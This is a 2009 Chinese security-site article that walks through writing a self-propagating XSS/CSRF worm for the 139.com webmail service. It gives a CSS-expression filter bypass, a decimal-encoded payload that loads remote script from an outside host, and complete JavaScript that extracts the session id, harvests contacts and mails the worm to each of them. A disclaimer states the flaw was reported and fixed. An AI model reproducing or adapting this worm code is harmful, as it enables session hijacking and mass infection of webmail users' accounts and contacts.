首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
139邮箱蠕虫编写实例
来源:www.woyigui.cn 作者:woyigui 发布时间:2009-11-05  
Author:[sh0wrun],[woyigui]
Date:2009-09-09
声明:该漏洞已报告并已修复,切勿用于非法目的。

原理分析:
我们经常会用到的mail.139.com,由于对邮件正文过滤不严,导致存在xss漏洞。他们尽管实现了对style="xss:expression"进行过滤,但是可以通过添加/*  */绕过,如:。在添加/* */后,该脚本能够在IE浏览器执行。
同时,经过分析发现,mail.139.com中发送邮件的功能存在CSRF弱点;可以通过Ajax技术获取发送邮件所需要的mid值。另外邮箱的“通信录“中的联系人邮件可以直接通过javascript取出。
满足了编写csrf worm的3个条件,接下来的工作,就是通过编写javascript代码来实现了。

跨站代码:
该部分要实现的功能就是,触发浏览器去读取远端的js脚本,并且执行该脚本:
Original:
var ig =document.createElement("script");ig.src=" http://192.168.9.104/woyigui/139.js";try {document.getElementsByTagName("body")[0].appendChild(ig);} catch (e) {document.documentElement.appendChild(document.createElement("body"));document.getElementsByTagName("body")[0].appendChild(ig);}

对该部分编码按照10进制进行编码,以避免关键字被替换,并调用:
<IMG STYLE="xss:expr/*xss*/ession(eval(String.fromCharCode(118, 97, 114, 32, 105, 103, 32, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 105, 103, 46, 115, 114, 99, 61, 34, 32, 104, 116, 116, 112, 58, 47, 47, 49, 57, 50, 46, 49, 54, 56, 46, 57, 46, 49, 48, 52, 47, 119, 111, 121, 105, 103, 117, 105, 47, 49, 51, 57, 46, 106, 115, 34, 59, 116, 114, 121, 32, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 98, 111, 100, 121, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 105, 103, 41, 59, 125, 32, 99, 97, 116, 99, 104, 32, 40, 101, 41, 32, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 100, 111, 99, 117, 109, 101, 110, 116, 69, 108, 101, 109, 101, 110, 116, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 98, 111, 100, 121, 34, 41, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 98, 111, 100, 121, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 105, 103, 41, 59, 125)))">

该部分代码,需放置在邮件正文中传送。

脚本功能的实现:

主要实现了如下功能:
1.通过脚本,读取联系人的邮箱地址。
该部分信息,可以通过top.LinkManList.concat()获取。
2.通过脚本,获取sid值
该部分信息,可以通过window.top.location.href,配合正则表达式获取到。
3.获取发送邮件所需要的mid值
在获取到sid值后,通过script打开"写邮件"页面,读取mid值。
4.发送邮件
发送邮件功能只验证mid值,因此在获取到正确的mid值后,连同获取到的联系人一起,构造post数据,发送邮件。
5.改写邮件转发规则和自动回复规则
在有正确的sid后,构造post。

完整代码:
var xssed = false;
if (typeof XSSflag != "undefined"){
xssed = true;
}
var XSSflag = [
{name: "version", url: "1.0"},
];
if ( xssed != true ) {  
var xmlhttp;
//create XHR
function createXMLHttp(){  
try {
xmlhttp = new XMLHttpRequest();
} catch (e) {
var XMLHTTP_IDS = new Array('MSXML2.XMLHTTP.5.0',
'MSXML2.XMLHTTP.4.0',
'MSXML2.XMLHTTP.3.0',
'MSXML2.XMLHTTP',
'Microsoft.XMLHTTP' );
var success = false;
for (var i=0;i < XMLHTTP_IDS.length && !success; i++) {
try {
xmlhttp = new ActiveXObject(XMLHTTP_IDS[i]);
success = true;
} catch (e) {}
}
if (!success) {
throw new Error('Unable to create XMLHttpRequest.');
}
}
}
function domid (dourl) {
createXMLHttp();  
var tmp = "";
xmlhttp.open("GET", dourl, false);  
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
xmlhttp.setRequestHeader("Connection", "close");
xmlhttp.send(null);
setTimeout( tmp = xmlhttp.responseText,500);
return tmp;    
}
function startRequest(doUrl, tomail, subject, Content, account, mid, sid ){  
createXMLHttp();  
var params = "funcid=compose&sid="+ sid +"&mid="+ mid +"&hidRemoteIp=&ishtml=y&optype=send.x&idOpType=&text="+ Content +"&destcgi=&funcid=compose&netfdrhost=&to="+ tomail +"&cc=&bcc=&subject="+ subject +"&year=&month=&day=&hour=undefined&compinfo_minute=&chkHtmlMessage_text=y&chkHtmlMessage=y&ifsavetosent=y&account="+ account +"&destcgi=&netfdrhost=&split_rcpt=n&return_receipt=0&priority=0";
xmlhttp.open("POST", doUrl, false);  
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "close");
xmlhttp.send(params);
}
function doMyAjax()  
{  
var strPer = '/coremail/cgi/attachfapps';
var tomail = '<woyigui_test@139.com>;';
var subject = "test20";
var Content = "<img style=\"a:expr/**/ession(eval(String.fromCharCode(9,118,97,114,32,105,103,32,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,13,10,9,105,103,46,115,114,99,61,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,57,46,49,48,52,47,119,111,121,105,103,117,105,47,49,51,57,46,106,115,34,59,13,10,9,116,114,121,32,123,13,10,9,32,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,34,98,111,100,121,34,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,105,103,41,59,13,10,9,125,32,99,97,116,99,104,32,40,101,41,32,123,13,10,9,9,100,111,99,117,109,101,110,116,46,100,111,99,117,109,101,110,116,69,108,101,109,101,110,116,46,97,112,112,101,110,100,67,104,105,108,100,40,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,98,111,100,121,34,41,41,59,13,10,9,9,9,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,34,98,111,100,121,34,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,105,103,41,59,13,10,9,125)))\">";
var account = "";
var sid = window.top.location.href.replace(/.*&sid=(.*)/,"$1");
var tmpmid = domid("/coremail/fcg/ldmmapp?funcid=compose&sid=" + sid );  
var mid="",text="";
text=tmpmid.split("\n");
for (var i=0;i < text.length; i++)
{
var patt=/name=\"mid\" value=\"/;
if ( patt.test(text[i]))
{  
mid=text[i].replace(/.*name=\"mid\" value=\"(.*)\".*/, "$1");
break;
}
}
var mail_address=top.LinkManList.concat();
for (var i=0,len=mail_address.length;i<len;i++)
{  var mail=mail_address[i];
var reg_139=/@139\.com/;
if ( reg_139.test(mail.addr)){
tomail += "<"+mail.addr+">;";
}
}
try {
startRequest(strPer, encodeURIComponent(tomail), encodeURIComponent(subject), encodeURIComponent(Content), encodeURIComponent(account), mid, sid );    
} catch (e) {
alert("send data error!");
}
}
doMyAjax();
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·实现完整的XSS wrom流程
·对%无法写入的一次突破
·如何攻击windows域
·利用MYSQL安全检测FreeBSD服务器
·利用 PHP 扩展模块突破 Disable_
·如何渗透域
·如何使用MySQL提升权限
·突破防篡改 继续上传
·一类特殊的登录验证sql注入玩法-
·unix入侵
·Javascript Paste Keyboard Shor
·电信局入侵实例
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved